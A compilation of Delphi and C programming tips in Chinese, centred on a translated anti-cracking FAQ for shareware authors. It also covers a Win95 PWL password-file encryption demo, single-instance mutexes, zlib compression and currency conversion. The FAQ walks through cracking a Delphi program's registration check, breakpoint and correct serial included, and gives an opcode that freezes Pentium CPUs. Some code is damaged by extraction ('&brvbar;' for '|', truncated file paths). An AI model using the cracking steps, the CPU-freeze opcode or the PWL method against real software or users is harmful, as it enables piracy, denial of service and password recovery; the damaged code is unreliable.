AppTitle: PChar;

begin

AppTitle := StrAlloc(100);

StrPCopy(AppTitle, Application.Title);

Result := True;

Mutex := Windows.CreateMutex(nil, False, AppTitle);

if (GetLastError = ERROR_ALREADY_EXISTS) or (Mutex = 0) then begin

Result := False;

SetWindowText(Application.Handle, '');

PrevInstHandle := FindWindow(nil, AppTitle);

if PrevInstHandle <> 0 then begin

if IsIconic(PrevInstHandle) then

ShowWindow(PrevInstHandle, SW_RESTORE)

else

BringWindowToTop(PrevInstHandle);

SetForegroundWindow(PrevInstHandle);

end;

if Mutex <> 0 then

Mutex := 0;

end;

StrDispose(AppTitle);

end;

procedure DestroyMutex;

begin

if Mutex <> 0 then

CloseHandle(Mutex);

end;


防破解问答集
防破解问答集

----如何使破解你程序的人感到头疼一点

感谢 CJ 翻译

当发现自己为之工作了好几个月，甚至几年的程序被人破解的时候，所受的伤害是难以形容的。

我作为一个共享软件作者，并不是因为我在乎那几块钱而已（我不想在这里做具体的计算，那会使我更加难过...），不，我总是使我的程序尽可能的便宜，使包括学生和自由软件作者在内的每个人都能用得起。

然而，我知道破解软件的魅力（如果你对程序破解者（Cracker）和黑客（Hacker）抱绝对的不宽容态度，那么请原谅。但是我的一位同学是心理学家，我们一直在寻找其原因）。破解一个受限制的软件程序就像解一个（有时是很狡猾）的谜语，而你可能沉迷于这种解迷的感觉（当我发现我祖母在几个月里整天沉迷在玩字谜游戏时想起这些的）。问题是（我们现在涉及到这种“游戏”的非法部分）：程序破解者不会仅仅满足于只让自己了解他的“天赋”。他必须传播消息，发布他的“破解” （Cracker）（看一下破解包，多数是由以下部分组成：1、破解工具；2、简短的说明；3、一个巨大的文件，包含有似乎作者不亚于世界上任何伟人，或者被破解的程序像所有其它程序一样无法用那脆弱的保护方式来阻止破解者破解程序的进程的信息）。

但是现在，玩笑彻底结束了。发布这些破解包（让我们公正些：“研究其可能性“）给其他人，散布到网站上，新闻组，邮件列表，匿名FTP，光盘，"abonnements"以及任何其它地方，他们明显地破坏了所有那些花时间和精力在他们软件产品上的收益。虽然没有人可以说，所有收到或者下载破解程序的人永远也不会购买。但是散布破解程序的确是犯罪，就像有人在商场分发你车钥匙的拷贝--他是否以此赚钱又有何分别呢？

早些日子，我没有真正去花时间保护我的产品以防止被破解，但发现周围有它们的数个破解之后。我对自己说：为什么让它如此简单？ 作为一个程序员，我当然知道，不，决不！--程序不可能是破解不了的，而且我知道，每个有吸引力的程序都迟早会有破解（至少是盗版或非法复制品）出现，但至少，我可以避免最糟糕的错误。

多数的高级语言程序员不再懂得汇编语言了，所以，他们使用的“保护措施“多数是很脆弱的。我对汇编懂得也不多，所以我决定开始仔细收集防破解（Anti-Crack）的技巧。我也努力“从另一方面努力学习”，你在这里看到的许多技巧我都是从典型的破解技术中捉摸出来的，包括网上各种各样的破解指南和阅读甚至是由专业破解者给出程序保护技巧（他们给我们这些技巧以给自己更大的挑战），我希望自己学得足够好，也想把我的经验在此与大家分享,有些技巧可能已经在其它文章中有所提及，但在此列出的最为完整。许多技巧都是针对Windows的，但他们可以被移植到其它操作系统中去。

这篇问答集是全新的，如果你觉得我遗漏了一些要点或者有用的、一个典型的Delphi程序员可以简单的加入其程序，以加强对程序保护的技巧，请告诉我，如果你允许，我会把它加到这里，否则我会告诉你我对它的体验。

不要问我问题，我可能无法回答：

1) 我已经提到，我对底层的东西没有什么研究；

2) 我不会把范例文件发给你，因为我没有准备过发布任何东西，如果我有一些，那么都在这里了；

3) 最后，我不会提供任何人我发现这些技巧的连接，请记注，这是一个专注于编程的站点，而非提供可利用的破解程序。需要更多的保护程序的信息，可以看我的DELPHI技巧页。

--------------------------------------------------------------------------------

最后，这里是：

如何使破解你程序的人感到头疼

（技巧未按其重要性排列）

--------------------------------------------------------------------------------

不要用有意义的过程名字，例如： function RegistrationOK: Boolean;//译者按：注册确认

无论你在函数中编码多么奥妙和复杂，无论你相信于否一个有经验的破解者都会在10-20秒内删除之。

作为一种选择，你可以把程序中需要的一部分代码置入其内，如果破解者禁止了这个函数，你的程序将产生错误的结果。

不要用有意义的文件名比如License.Dat.。

用类似Asymetric（美国软件公司，代表软件Toolbook）的加密. 仅仅不寻常的文件名常常是不够的，好的加密（编码）可以让破解者忙几个月（如果他愿意）

加上长时间延迟，当发现被自身被损坏时，不要发出警告，随后开始等待，也许是一或两天（破解者讨厌者东西）。

加入短暂延迟，当输入口令或做其它检测时，停一到两秒钟，使穷举无法继续。简单易行，但用处不大。

使用相互检查，在DLL和EXE中互相检查，这远谈不上安全，但可以使破解变得更困难。

在软件中使用自我修复，你知道就像纠错Modem和容错硬盘，这技术已经有许多年了，怎么没人用在保护软件上？这方法最大的优点是：如果破解者使用反编译工具，它会见到一串无用的列表。

修补你的软件！把代码变为每次调用不同的确认程序段，用“其人之道还治其人之身”。

把序列号放在不寻常的地方，比如数据库字段的属性中，经常听到或读到，“用一个DLL的名字，然后把它放到系统目录里”，听的太多了，不要用哦:)

把序列号放到不同的地方。

不要依靠系统时间，从一些文件取得时间，比如SYSTEM.DAT，SYSTEM.DA0和BOOTLOG.TXT，把它们和系统时间进行比较，要求它们比上次运行的时间晚（但是记住，许多用户近来在捉千年虫）。

不要用明文字符串告诉用户:"对不起，不过...（或类似的东西）"这些是首先寻找的目标，动态建立字符串或者加密它们。

用伪造的程序调用和字符串来灌水。

不要使用一个确认函数，每次你确认用户，把确认代码写在当前过程中。这样只是让破解者做更多的破解工作。

使用“保留字”，当使用硬密钥或口令时，使它们看来像程序代码或者函数调用 (比如., "73AF" 或 "GetWindowText")。这确实工作的很不错，可以迷惑一些反编译工具。

没有“禁止”特征，如果你的程序有不保存数据版本(Crapware Version)，不要包含“灰”色菜单项。没有保存项等于没有保存，就那么简单。

避免不必要的提示信息，唯一提醒用户他尚未注册的只是“关于”对话盒，此对话盒要动态建立，以便保密。这有两个原因：许多程序员有这样的观点：多余的提示信息会在他们的顾客中产生敌人，这是愚蠢的。一个可能是更重要的原因是：多余提示信息会引导对你代码的反向工程而且经常直接引导至你的程序保护代码。

经常更新，频繁的更新指：经常更换代码，典型（简单）的破解只修改你的硬字节代码位置，这可能当它还未面市已经过期了。并且保证上载到公共服务器，使你可以更好的控制程序，人们无法找到破解所针对的旧版本。是的，这样无法防止包括旧版本和破解包盗版，如果他们那么做了，你至少可以为把他们的硬盘挤满而做点贡献。

最后，花点时间考虑保护你自己的软件。它是否值得保护？它是否更应该改进你的软件？如果没人用你的软件，保护也就没有意义了，不要过高估计你软件“对世界的重要性”。

--------------------------------------------------------------------------------

你可以考虑到的更多技巧

--------------------------------------------------------------------------------

用一个连续的几KB长的数学公式使任何想破解它的人精神崩溃。这使用一个密码生成器几乎无效--阻止穷举攻击也是有效的。

小心运行时刻库！当写BETA版时，完全使用之，在正式版中重写部分函数，这至少可以使破解者的生活更艰苦些。

毁坏结果，毁坏结果有时是保护程序的有效措施。

例如：想象一个图表程序，或者类似的程序，只是禁止打印然后根据一些注册码恢复打印是最常见的毁坏结果的程序。允许你打印。当产生要打印数据结构时，用某种方式破坏之，在打印前根据注册码或其它东西恢复。甚至，让破坏更奥妙，假设你有一个饼形图要打印，不改变任何东西，但加入一些不大的随机数值在你的数据中--这样就破坏了。图表看上去“不是很糟”，但是无论如何将无法使用（比如，如果是按20%的随机次序改变的）发现这样的保护，如果这和注册码相关联，无疑会使破解需要更对的时间，一是必须深入你内部的数据结构并找到可怕的破坏和恢复数据代码。

陷阱，一个我不太肯定，但听说有程序使用的方法：用CRC校验你的EXE文件，如果它被改变了，不要显示典型错误信息，等一天，然后用意思含糊的错误代码通知用户，当他们和你联系并告之错误代码时，你知道，是因为被破解了。记注：这样的陷阱可能被病毒或下载错误所触发，当你谴责可能是你未来的客户前，先考虑所有可能性。

不要依赖EXE压缩程序，几乎任何EXE压缩程序(Shrinker, WWPack32, NeoLite --和所有著名的压缩软件)都有反压缩程序，所以，压缩程序的保护能力至少支持可配置的编码。以上（和其它）压缩程序的反压缩软件并未广泛流传，但是，不要依赖那些软件作为你程序仅有的一个“保护”。

--------------------------------------------------------------------------------

高级技巧--从汇编来的奇想

--------------------------------------------------------------------------------

rcr/rcl 把戏

如果RCR/RCL执行某值，对于破解者来说是痛苦的--在不知道最初操作时转送标志（Carry Flag）的值的情况下，你无法逆转之或否定其作用，如果转送标志是由一些其它烦琐的关键操作所产生的话，那么你几乎胜利了。

到处贴条件转移

条件跳转对于反向工程来说并不有趣。没有循环，只是跳转，作为有条件的路障，包括你那些可爱的KEY处理代码。这样，没有简单的反向操作可以执行。

使用部分代码作为奇妙的数字表。

（更适合评论部分）如果你像多数的破解者或喜欢用SOFT-ICE（一个流行的破解工具）改东西，你无法想象这会有多恼人，

和破解者斗智

这部分很有趣:-) 贴上连续的NOP，就像你在做自我代码修改（天啊，什么乱七八糟的，NOP？哈！自我代码修改！白痴会花三年去捉摸那些本来该是什么东西）。混乱的注释代码。把代码分成小块，把它们遍布在可执行代码中，在它们中间使用（最好是有条件的）跳转。

提早发现SoftIce.。

现在搞垮计算机，你可以搞垮奔腾或奔腾MMX计算机甚至不需要VXD，可以用操作码： F0 0F C7 C8 (非法的带锁定前缀的 cmpxchg8b 指令). 处此之外, 我们必须采取真正的措施：使用VXD把CPU带出保护模式。Windows 不喜欢那样，奇迹？另一方面，不要浪费太多的时间去写破坏反汇编程序或调试的代码。那没用，相信我，有人写了那些东西，另一些人立刻会有办法绕过它，所以，把你的兴趣转移到更重要的地方--那些容易且很快见效的措施，就像上面的技巧。

--------------------------------------------------------------------------------

针对DELPHI控件的破解

--------------------------------------------------------------------------------

让我们了解一些关于Borland公司新开发工具的内核吧。这些知识会使我们加快破解的速度，当然也使那些共享软件程序员更小心的使用Delphi，轻易的把他们的“秘密”暴露在那些好奇的目光下。

VCL是指Visual Component Library（可视化组件库），它近来被Borland的可视化编程工具所使用，比如Delphi和C++Builder。

这些环境使用特有的资源格式，在Resource Workshop（Borland编辑资源的一个工具）中显示为“RCDATA'”。这些资源中含有Delphi所谓的窗体（Forms），窗体是程序的窗口（Windows）。所有对窗口的设计的信息都包含内，当一个典型的Delphi程序开始运行时，其初始化代码建立这种窗体，并从资源中读取所需要的信息。有时，这种读取会被推迟--不常用的窗体在需要时才被建立和删除。这样的机制是Delphi的最大优势也是其最大的缺点。它大大提高了程序设计的速度，但是对于整个应用程序，它减慢了程序被调用时的速度

这部分中真正有趣的是：例程（被用来响应用户界面的窗体的元素）的地址是按名字邦定的。所以只要知道这些名字，我们就可以知道所需要的地址。

如果你曾经破解过我的Delphi程序，你一定对那些烦琐的库之间的调用，比如API调用断点（breakpoint）和类似“do xx”的代码。

[讨论一个十分有名的用Delphi写的应用程序] 就像你将见到的那样，我彻底的破解了它，而且十分轻松。我第一次安装以后一个星期后，我发现了一条令人厌恶的信息--“你的测试已经过期”。

首先要做的是使用资源或窗体探测（SPY）工具收集有关目标EXE文件的有关信息。你也许会想到去查看TVALIDATORDLG--很明显，用户名和注册码是由此输入的。但是你会发现那只是一个简单的对话盒，真正的工作是由其调用者TSPLASHFORM来完成的。这是个恼人的窗口，它在程序关闭、按“关于”按钮和程序开始部分不断出现。

你可以选择TsplashForm并且以文本格式观察之。关于按钮（Button）和标签（Label）的许多信息都将被很清楚的显示。让我们注意以下部分（接近最后）：

object RegButton: TButton

Left = 200

Top = 176

Width = 97

Height = 25

Caption = 'Register'

TabOrder = 1

OnClick = RegButtonClick

end

这是什么？这是带有“注册”标题的按钮。你可以看到它的大小，位置......和一个有启发性的名字--“OnClick”。 “OnClick”告诉我们当用户按注册按钮时所调用的例程，当我们有了名字(Name)，我们可以搜索例程的地址。这是因为例程是和按钮以名字(Name)邦定的。

使用一个十六进制编辑器观察"RegButtonClick"，我发现了两次，第二个是资源本身，第一个是在地址表（Address Table）中的。

000A4990 ____ ____ ____ BC57 4A00 0E52 6567 4275 ______.WJ..RegBu

000A49A0 7474 6F6E 436C 6963 6B__ ____ ____ ____ ttonClick_______

现在，观察名字（Name）前那写神奇的数字，有一个字节('0E')指出了"RegButtonClick" 的长度(14 个字符)。而且，在此之前有其地址：004ABC57。

有的反汇编程序会以为文件太长，并且不能正确反汇编这部分--然而，使用特殊的工具，我们可以在此停止，对了，就停在我们按按钮的部分。

这些会使你发现一个调用（CALL）。跟踪之，你会在44ECC8发现一个“标准栈框架（standard stack frame）”：

0044ECC8 55 push ebp

0044ECC9 8BEC mov ebp, esp

这是一种程序员所写的，在高级例程开始部分所需要的东西。我们已经避开了一长串由Windows通知（Notification）所产生的VCL库调用，来到了正确的位置。

在此，你可以方便的用设置断点的方法来测试一些调用--你会发现它们是用来显示要求输入用户名和口令的对话盒。然后，注册码是由用户名和用户的输入比较所产生的。你可以输入你所选择的用户名，和任何东西作为注册码，在BPX到44ED69之后，一个调用一个例程用来比较两个字符串。D EDX会显示你输入（冒牌）的注册码，EAX会显示正确的注册码，简单吧？初学者只需10分钟就可以完成，

如何避免被类似的程序破解？

阅读我以上的技巧。最基本的是不要用由双击按钮或有属性监视器（Object inspector.）生成默认的方法，在程序的其它部分写代码，最好是在另外的模板中，然后用类似以下的代码与按钮关联：

RegButton.OnClick := RegButtonClick;

当然你需要在窗体建立时（被调用前）执行这段代码，最好是被一些无关的例程所调用，当然这远远不能防止你的程序被破解，但至少不会像你刚才看到的那样容易。

--------------------------------------------------------------------------------

关于注册码的提示

(如果你无法避免它)

--------------------------------------------------------------------------------

在安全，可行性，可编程性和最终用户的头痛间寻求平衡。

太长的，无字母的注册码可能造成连续的输入错误。考虑要求输入确认域（多数是口令），或者至少提供一个“不固定”的注册码输入域，以便用户可以每次重写注册码，也许最后正确的输入了。许多人会仅仅“瞥一眼”以比较输入的注册码和他们所收到E-Mail里的注册好，他们最终认为，他们输入了正确的注册码。但是字体太小或者他们懒得注意到底“I”和“1”被交换了位置（就像'l83jjd_0)pH1lTe' )。

根据不同用户的反馈，注册码输入区必须无限制的接受任何长度的信息。不要让破解者了解你的注册码的类型--如果你采取“在线确认（online-verification）”并显示它有10个字符长或只接受大写字母将给予他们帮助--不要这样做！

计算潜在用户的数量！没有比这样的事更坏的了：你把用户数限制在9，999，你不希望有第10，000个用户，因为如此你就必须升级你的注册码以满足这第1，000个用户。

如果你的注册码有10位，可能有10^10个注册码。但是，你的应用程序可能只允许10^4（10，000）个用户，你必须采取某种算法使10^4个用户每人一个得到10^10个注册码中一个。这保护了用户和你的应用程序本身受到穷举攻击（就像一个使用VXD的宏播放器那样）。如果只有10^4个用户，而你定义了10^9个合法的注册码，那么平均每试10次，就会有一个“合法”的注册码。然而，在预期只有10^4的情况下，平均每10^6次才会成功。即使是使用高速的计算机和极快的宏播放器（击键模拟输入注册码），要在10^6中寻找到需要的注册码所花费的时间也是无法计算的。

从用户名（User name）到注册码（Registeration code）不应该只有简单的运算，它必须是有既精通数学又精通汇编语言的人用汇编语言实现（记注，Delphi仍然允许你直接使用汇编（ASM）代码）！然后，检查你的操作，绘制流程图，了解它是如何工作的。要彻底了解你自己的工作，特别是它的不足之处。

要有创新意识，不要用任何看起来简单、迅速、有效的东西，除非你信奉类似爱因斯坦的相对论的学说。你的方法的确是简单，也的确是迅速，但是绝对不是有效，的确是容易被破解。我十分抱歉，我并非天才，没有找到一种行之有效的保护方案能维持太长时间。

只是些想法:)

Richey

如果你有这方面的技巧或建议，请给我发电子邮件！

如果你想支持我在本页上的工作，或简单的说声“谢谢”为了将我的财富与您分享，我将很高兴，如果你能注册我的一个程序

在你的支持下，这将不断更新，最后更新98年9月28日


按笔划排序
首先，修改控制面版中的汉字排序设置后，需要重新登录才能起作用。

其次，delphi将lstrcmp等函数申明在windows.pas文件中，你可直接调用。

需要功能更多的比较函数，可以使用CompareString

win2000对多种语言的支持非常好了。比如就支持汉字的正确排序。在控制面版中的区域设置中设置好好排序的依据，比如说是拼音还是笔画排序。然后，只要调用其标准的api函数比如lstrcmp，是能返回正确的判断结果的。这包括对原gb2312的一级字库、二级字库的正确处理，对gbk字符集的正确处理。你再也不用为内码排列与需要的次序不一样而担心。


Delphi提供的压缩功能
Borland公司推出的 RAD开发工具 Delphi 5.0作为 Windows平台上的主流开发工具，其可视化的开发环境和面向对象编程的强大功能已经吸引了无数的开发人员。但是，一些程序员在实际的开发过程中却时常为对大量的数据进行压缩而伤透脑筋，不得不去查找一些高效的压缩算法或在网上查找第三方的控件来实现压缩。难道 Delphi本身没有提供这个功能吗？其实 Delphi的程序设计师早就考虑到了这一点，他们提供了 Zlib.pas和 Zlibconst.pas两个单元文件来解决数据压缩问题，实现了很高的数据压缩比率。这两个文件保存在 Delphi 5.0安装光盘上 目录下，此外，在 Info目录中还保存了 Zlib.pas单元引用的 Obj文件。下面本文以压缩一个屏幕拷贝为例介绍如何使用这项功能。

    解决思路

    首先利用屏幕拷贝捕捉到当前整个屏幕的图像，然后在内存中保存为 BMP文件格式。压缩时，使用 TCompressionStream对象对原始图像进行压缩并且保存为自定义的文件格式；解压缩时，使用 TDecompressionStream对象对被压缩的图像进行解压缩，还原为 BMP格式的图像文件。

    具体实现

    新建一个项目文件，在主单元的接口部分引用 Zlib.pas，在主表单上放置两个按钮 Button1、 Button2，在它们的 OnClick事件中写上相应的过程调用代码。

    部分程序源代码如下：

    unit Unit1;

    interface

    uses

     Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Zlib;

      type

        TForm1 = class(TForm)

        Button1: TButton;

        Button2: TButton;

        procedure Button1Click(Sender: TObject);

        procedure Button2Click(Sender: TObject);

      private

        { Private declarations }

    public

        { Public declarations }

      end;

      var

        Form1: TForm1;

        implementation

         {＄ R＊ .DFM}

      1．捕捉全屏幕图像

        procedure GetScreen(var Bmp: TBitmap);

        var

          Dc: HDC;

          MyCanvas: TCanvas;

          MyRect: TRect;

        begin

          Dc := GetWindowDC(0);

          MyCanvas := TCanvas.Create;

        try

          MyCanvas.Handle := Dc;

        MyRect:=Rect(0， 0,Screen.Width, Screen.Height);

file://图像为 24位真彩色，也可根据实际需要调整

          Bmp.PixelFormat := pf24bit;

          Bmp.Width := MyRect.Right;

          Bmp.Height := MyRect.Bottom;

          file://捕捉整个屏幕图像

          Bmp.Canvas.CopyRect(MyRect, MyCanvas, MyRect);

          finally

          MyCanvas.Handle := 0;

          MyCanvas.Free;

          ReleaseDC(0, Dc);

        end;

      end;

2．压缩图像

      procedure CompressBitmap(var CompressedStream: TMemoryStream;const CompressionLevel: TCompressionLevel);

        var

          SourceStream: TCompressionStream;

          DestStream: TMemoryStream;

          Count: Integer;

        Begin

          file://获得图像流的原始尺寸

          Count := CompressedStream.Size;

          DestStream := TMemoryStream.Create;

        SourceStream:=TCompressionStream.Create

          (CompressionLevel, DestStream);

          Try

            file://SourceStream中保存着原始的图像流

            CompressedStream.SaveToStream(SourceStream);

            file://将原始图像流进行压缩， DestStream中保存着压缩后的图像流

          SourceStream.Free;

            CompressedStream.Clear;

            file://写入原始图像的尺寸

            CompressedStream.WriteBuffer(Count, SizeOf

            (Count));

            file://写入经过压缩的图像流

            CompressedStream.CopyFrom(DestStream, 0);

            finally

            DestStream.Free;

          end;

        end;

      3．还原被压缩图像

        procedure UnCompressBitmap(const CompressedStream: TFileStream; var Bmp: TBitmap);

          var

            SourceStream: TDecompressionStream;

            DestStream: TMemoryStream;

            Buffer: PChar;

Count: Integer;

          Begin

            file://从被压缩的图像流中读出原始图像的尺寸

            CompressedStream.ReadBuffer(Count, SizeOf(Count));

            file://根据图像尺寸大小为将要读入的原始图像流分配内存块

            GetMem(Buffer, Count);

            DestStream := TMemoryStream.Create;

            SourceStream := TDecompressionStream.Create(CompressedStream);

          Try

            file://将被压缩的图像流解压缩，然后存入 Buffer内存块中

            SourceStream.ReadBuffer(Buffer^, Count);

            file://将原始图像流保存至 DestStream流中

            DestStream.WriteBuffer(Buffer^, Count);

            DestStream.Position := 0;//复位流指针

            //从 DestStream流中载入原始图像流

            Bmp.LoadFromStream(DestStream);

            finally

            FreeMem(Buffer);

            DestStream.Free;

          end;

        end;

      4．压缩按钮 OnClick事件

        procedure TForm1.Button1Click(Sender: TObject);

          var

            Bmp: TBitmap;

            CompressedStream: TMemoryStream;

        begin

            Bmp := TBitmap.Create;

            CompressedStream := TMemoryStream.Create;

          Try

             file://捕获当前整个屏幕 ,将图像保存至 Bmp对象中 GetScreen(Bmp);

            file://将 Bmp对象中的图像保存至内存流中

            Bmp.SaveToStream(CompressedStream);

            file://按缺省的压缩比例对原始图像流进行压缩

            CompressBitmap(CompressedStream, clDefault);

            file://将压缩之后的图像流保存为自定义格式的文件

            CompressedStream.SaveToFile(‘ C:.dat’ );

            finally

            Bmp.Free;

            CompressedStream.Free;

          end;

        end;

      5．解压缩按钮 OnClick事件

          procedure TForm1.Button2Click(Sender: TObject);

var

              CompressedStream: TFileStream;

              Bmp: TBitmap;

            begin

              Bmp := TBitmap.Create;

              file://以文件流的只读方式打开自定义的压缩格式文件

              CompressedStream := TFileStream.Create(‘ C:.dat’ , fmOpenRead);

            Try

              file://将被压缩的图像流进行解压缩

              UnCompressBitmap(CompressedStream, Bmp);

              file://将原始图像流还原为指定的 BMP文件

              Bmp.SaveToFile(‘ C:.bmp’ );

              finally

              Bmp.Free;

              CompressedStream.Free;

            end;

            end;

    此外 TCompressionStream对象还提供了 CompressionRate属性，该属性用于描述对原始数据进行压缩后的压缩比率，而 OnProgress事件在压缩与解压缩过程中都会被触发，开发人员可以在该事件中编写用于显示进度的代码。

    以上代码在 Delphi 5.0中调试运行通过。


做一个两栖程序
The MS-DOS Stub is a valid application that runs under MS-DOS and is placed

at the front of the .EXE image. The linker places a default stub here, which

prints out the message "This program cannot be run in DOS mode" when the image

is run in MS-DOS. The user can specify another stub by using the /STUB linker

option.

//////如何替换自己的 stub 程序

At location 0x3c, the stub has the file offset to the Portable Executable (PE)

signature. This information enables Windows NT to properly execute the image

file, even though it has a DOS Stub. This file offset is placed at location

0x3c during linking.

--------------------------------------------------------------------------------

来自：mikedeakins 时间：01-4-2 12:49:50 ID:488407

你可以自己写一个简单的程序，功能是把某个 dos exe 文件（假设是 a.exe）的长度写入

该文件的 0x3c处。然后假设已经有一个 b.exe 是 32-bit windows exe。

1,

copy a.exe + b.exe c.exe

2,

edit /b /078 c.exe

3.

编辑文件首先找到第二个 MZ，删除从 MZ 到 PE(包括MZ ，不包括PE)的所有字符。

保存。


PWL文件
关于PWL文件的一些说明：14个字符长的密码(均转为大写)，用它生成一个32位的密钥，由以下算法求得一个XOR串，接下来用此XOR串 XOR 20 bytes长的UserName(也转为大写), 结果存于PWL文件offset 0x208-0x21B, 0x21C开始为一系列指向资源串的指针(当然已XOR过了)。资源串中保存的主要是该USER的一些Shared Directory的口令，资源串也分别与XOR串 XOR, PWL文件.

// ================= CRYPT.CPP 1997.8.16 ================

#include <stdio.h>

#include <ctype.h>

#include <string.h>

/* The WFWG3.11/Win95's PWL file crypt algorithm demonstration:

codes extracted from .DLL

You may use SoftICE to trace it or W32DASM to disassemble it,

the offset address of each routine is listed below(You may

find the corresponding codes in W32DASM's ALF file according to the

offset value) */

typedef unsigned char BYTE;

inline void SwapByte(BYTE& c1,BYTE& c2)

{

BYTE temp;

temp = c1;

c1 = c2;

c2 = temp;

}

// generate a 32 bit key according to the password(capital)

// translate from MSPWL32.DLL's codes beginning at 7FCB1972h

unsigned long GenerateKey(char *pw)

{

int i, len;

unsigned long sum = 0;

len = strlen(pw);

for(i = 0; i <= len; i++)

{

sum += toupper(pw[i]);

sum = (sum << 0x7) &brvbar; (sum >> 0x19);

// same as rol sum,7

}

return sum;

}

// translate from MSPWL32.DLL's codes beginning at 7FCB1000h

void GenerateStream(BYTE *stream,unsigned long key)

{

BYTE keychar[4];

int i,j,shift=0;

BYTE index=0;

*((unsigned long*)keychar) = key;

for(i = 0; i < 256; i++)

stream[i] = (BYTE)i;

for(i = 0; i < 256; i++)

{

index += keychar[shift] + stream[i];

SwapByte(stream[i],stream[index]);

shift = (shift+1) % 4;

}

}

// translate from MSPWL32.DLL's codes beginning at 7FCB1088h

void GenerateXorString(BYTE *src,BYTE *dest)

{

BYTE j=0,index;

int i;

for(i = 1; i <= 255; i++)

{

j += src[i];

SwapByte(src[i],src[j]);

index = src[i] + src[j];

dest[i-1] = src[index];

}

}

int main(int argc,char *argv[])

{

unsigned long key;

BYTE table[256];

BYTE xorstr[256];

int i,len;

if (argc < 3)

{

printf("Usage: Crypt username password");

printf("Author: Raner,DCS,Tsinghua Univ");

printf("Comment: This program is used to demonstrate the Win95

PWL file crypt");

printf(" method. You may compare the crypted username

string with the");

printf(" string beginning at offset 0x208 of PWL file.

");

return 1;

}

key = GenerateKey(argv[2]);

printf("Bits Key:0x%08lX",key);

GenerateStream(table,key);

GenerateXorString(table,xorstr);

printf("String:");

for(i = 0; i < 54; i++)

{

if ( i % 16 == 0) printf("");

printf("%02X,",xorstr[i]);

}

printf("......");

len = strlen(argv[1]);

for(i = 0; i < len; i++)

xorstr[i] ^= (BYTE)toupper(argv[1][i]);

printf("UserName:");

for(i = 0; i < 20; i++)

printf("%02X%c",xorstr[i], i == 19 ? '' : ',');

/* You may debug username.pwl & d 308 to verify its correctness.

Crypted username(20 bytes) is saved at offset 0x208 of *.pwl */

return 0;

}


HTML-->TEXT
function Html2Text(Str : String):String;

var

StrL, i : Integer;

NewStr : String;

begin

StrL := StrLen(PChar(Str));

i := 0;

While i < StrL do

begin

Inc(i);

if Str[i]='>' then

begin

While Str[i+1]<>'<' do

begin

Inc(i);

if i > StrL Then Break;

NewStr := NewStr + Str[i];

end;//End While

end;//End if

end;//end While

Result := NewStr;

end;


金额小写转大写的子程序
Function TFormFhdCw.XxToDx(const hjnum:real):String;

var Vstr,zzz,cc,cc1,Presult:string;

xxbb:array[1..12]of string;

uppna:array[0..9] of string;

iCount,iZero,vPoint,vdtlno:integer;

begin

//*设置大写中文数字和相应单位数组*//

xxbb[1]:='亿';

xxbb[2]:='仟';

xxbb[3]:='佰';

xxbb[4]:='拾';

xxbb[5]:='万';

xxbb[6]:='仟';

xxbb[7]:='佰';

xxbb[8]:='拾';

xxbb[9]:='元';

xxbb[10]:='.';

xxbb[11]:='角';

xxbb[12]:='分';

uppna[0]:='零';

uppna[1]:='壹';

uppna[2]:='贰';

uppna[3]:='叁';

uppna[4]:='肆';

uppna[5]:='伍';

uppna[6]:='陆';

uppna[7]:='柒';

uppna[8]:='捌';

uppna[9]:='玖';

Str(hjnum:12:2,Vstr);

cc:='';

cc1:='';

zzz:='';

result:='';

presult:='';

iZero:=0;

vPoint:=0;

for iCount:=1 to 10 do

begin

cc:=Vstr[iCount];

if cc<>' ' then

begin

zzz:=xxbb[iCount];

if cc='0' then

begin

if iZero<1 then //*对“零”进行判断*//

cc:='零'

else

cc:='';

if iCount=5 then //*对万位“零”的处理*//

if copy(result,length(result)-1,2)='零' then

result:=copy(result,1,length(result)-2)+xxbb[iCount]

+'零'

else

result:=result+xxbb[iCount];

cc1:=cc;

zzz:='';

iZero:=iZero+1;

end

else

begin

if cc='.' then

begin

cc:='';

if (cc1='') or (cc1='零') then

begin

Presult:=copy(result,1,Length(result)-2);

result:=Presult;

iZero:=15;

end;

if iZero>=1 then

zzz:=xxbb[9]

else

zzz:='';

vPoint:=1;

end

else

begin

iZero:=0;

cc:=uppna[StrToInt(cc)];

end

end;

result:=result+(cc+zzz)

end;

end;

If Vstr[11]='0' then //*对小数点后两位进行处理*//

begin

if Vstr[12]<>'0' then

begin

cc:='零';

result:=result+cc;

cc:=uppna[StrToInt(Vstr[12])];

result:=result+(uppna[0]+cc+xxbb[12]);

end

end

else

begin

if iZero=15 then

begin

cc:='零';

result:=result+cc;

end;

cc:=uppna[StrToInt(Vstr[11])];

result:=result+(cc+xxbb[11]);

if Vstr[12]<>'0' then

begin

cc:=uppna[StrToInt(Vstr[12])];

result:=result+(cc+xxbb[12]);

end;

end;

result:=result+'正';

end;


重定向DOS程序的输入输出
下面的代码经过测试，在WinXP下通过，的确可以写入数据，其中C:.exe是一个16位DOS下的一个文字编辑程序，我们可以写入Y字符到其中，你会发现文件已经被修改！

procedure TForm1.Button1Click(Sender: TObject);

var

StartupInfo: _STARTUPINFOA;

ProcessInfo:_PROCESS_INFORMATION;

IR:_INPUT_RECORD;

R:Cardinal;

hInput:Cardinal;

begin

FillChar(StartupInfo, SizeOf(StartupInfo), #0);

StartupInfo.cb := SizeOf(StartupInfo);

StartupInfo.dwFlags := STARTF_USESHOWWINDOW;

StartupInfo.wShowWindow := SW_SHOW;

AllocConsole;

hInput :=GetStdHandle(STD_INPUT_HANDLE);

StartupInfo.hStdOutput := GetStdHandle(STD_OUTPUT_HANDLE);

StartupInfo.hStdInput := hInput;

CreateProcess('C:.Exe',

nil, nil, nil, True, 0, nil,nil, StartupInfo,ProcessInfo);

Caption := SysErrorMessage(GetLastError);

// Sleep(1000);

IR.EventType :=KEY_EVENT;

IR.Reserved :=0;

with IR.Event.KeyEvent do

begin

bKeyDown :=True;

wRepeatCount :=6;

wVirtualKeyCode :=Ord('Y');

wVirtualScanCode :=MapVirtualKey(Ord('Y'),0);

AsciiChar :='Y';

dwControlKeyState := 0;

end;

WriteConsoleInput(hInput,IR,1,R);

// Sleep(10);

IR.Event.KeyEvent.bKeyDown := False;

WriteConsoleInput(hInput,IR,1,R);

WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

CloseHandle(StartupInfo.hStdOutput);

CloseHandle(hInput);

FreeConsole;

end;

---------------------------------------

A function to execute a DOS or Win32 consoloe mode application and wait for it to close before continuing. Input for the app can be directed from a file, and the output will be redirected to a file.

uses

Controls, Windows, SysUtils, Forms;

{---------------------------CreateDOSProcessRedirected--------------------------

Description : executes a (DOS!) app defined in the CommandLine parameter

